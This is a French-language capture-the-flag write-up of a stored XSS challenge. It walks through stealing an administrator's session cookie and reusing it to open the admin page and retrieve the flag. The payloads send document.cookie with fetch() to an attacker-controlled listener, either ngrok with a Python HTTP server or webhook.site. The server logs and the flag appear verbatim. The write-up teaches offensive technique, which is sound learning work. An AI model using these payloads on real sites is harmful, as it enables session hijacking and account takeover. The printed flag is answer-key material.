XSS Cookie Session
Consignes
Aucune pour ce niveau
Réalisation
Se connecter au site du challenge:
http://ctfd-link.com/
On a un espace destiné à envoyer un message à l'administrateur.
Tester dans ce champ la possibiliter d'effectuer une exploitation XSS :
<script>alert('XSS')</script>
Dans notre cas, le serveur est bien vulnérable.
On doit maintenant récupérer le cookie de l'administrateur pour récupérer le FLAG du challenge.
On va récupérer le coookie de l'administrateur de deux façons différentes.
Méthode 1
Utiliser ngrok pour récupérer le cookie.
Lancer dans un terminal ngrok :
$ ngrok tcp 8000
ngrok (Ctrl+C to quit)
❤️ ngrok? We're hiring https://ngrok.com/careers
Session Status online
Account xxxxxxxxxxx@gmail.com (Plan: Free)
Update update available (version 3.22.1, Ctrl-U to update)
Version 3.21.0
Region Europe (eu)
Web Interface http://127.0.0.1:4040
Forwarding tcp://6.tcp.eu.ngrok.io:11769 -> localhost:8000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Lancer dans un second terminal un serveur HTTPpython sur le même port que ngrok (port 8000
) :
$ python3 -m http.server 8000
Une fois tout ceci lancé, utiliser la source document.cookie
pour récupérer les cookies de l'administrateur sur le site cible :
<script>fetch("url?cookie="+document.cookie);</script>
On obtient alors sur notre fenêtre python ceci :
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [09/May/2025 12:53:19] "GET /?cookie=_ga_HZ9M169DTK=GS2.1.s1746716933$o1$g0$t1746716981$j0$l0$h0;%20_ga=GA1.1.299214051.1746716933;%20session=hello HTTP/1.1" 200 -
127.0.0.1 - - [09/May/2025 12:53:19] "GET /?cookie=session=a7fb95126115c4c927e69429688761b6e00ac1ba38a71df699fffb395c1e47ec HTTP/1.1" 200 -
Le cookie de l'administrateur est donc ceci :
Nom : Session
Valeur : a7fb95126115c4c927e69429688761b6e00ac1ba38a71df699fffb395c1e47ec
Se connecter au compte administrateur via le cookie relevé :

Une fois le cookie modifié, se rendre sur le page admin
du challenge :
ctfd-link.com/admin
L'accès est effectif, le FLAG est retourné :
2600{xRx8hy-TIUTkuelZWDdH1IYl9H_YwAoSeM7vy8CVYZA}
Méthode 2
Utiliser un Webhook pour récupérer le cookie.
Se rendre sur le site https://webhook.site/.
Copier le lien fourni par le site :

Sur le site cible, utiliser la source document.cookie
pour récupérer les cookies de l'administrateur :
<script>fetch("url?cookie="+document.cookie);</script>
On obtiens alors sur le Webhook le cookie de la session administrateur :

On observe à gauche de l'image 2 réponses de la part du serveur. La première contient les cookies de notre session actuelle. Le seconde fourni le nom du cookie de l'administrateur ainsi que sa valeur :
Nom : Session
Valeur : a7fb95126115c4c927e69429688761b6e00ac1ba38a71df699fffb395c1e47ec
Se connecter au compte administrateur via le cookie relevé :

Une fois le cookie modifié, se rendre sur le page admin
du challenge :
ctfd-link.com/admin
L'accès est effectif, le FLAG est retourné :
2600{xRx8hy-TIUTkuelZWDdH1IYl9H_YwAoSeM7vy8CVYZA}
Last updated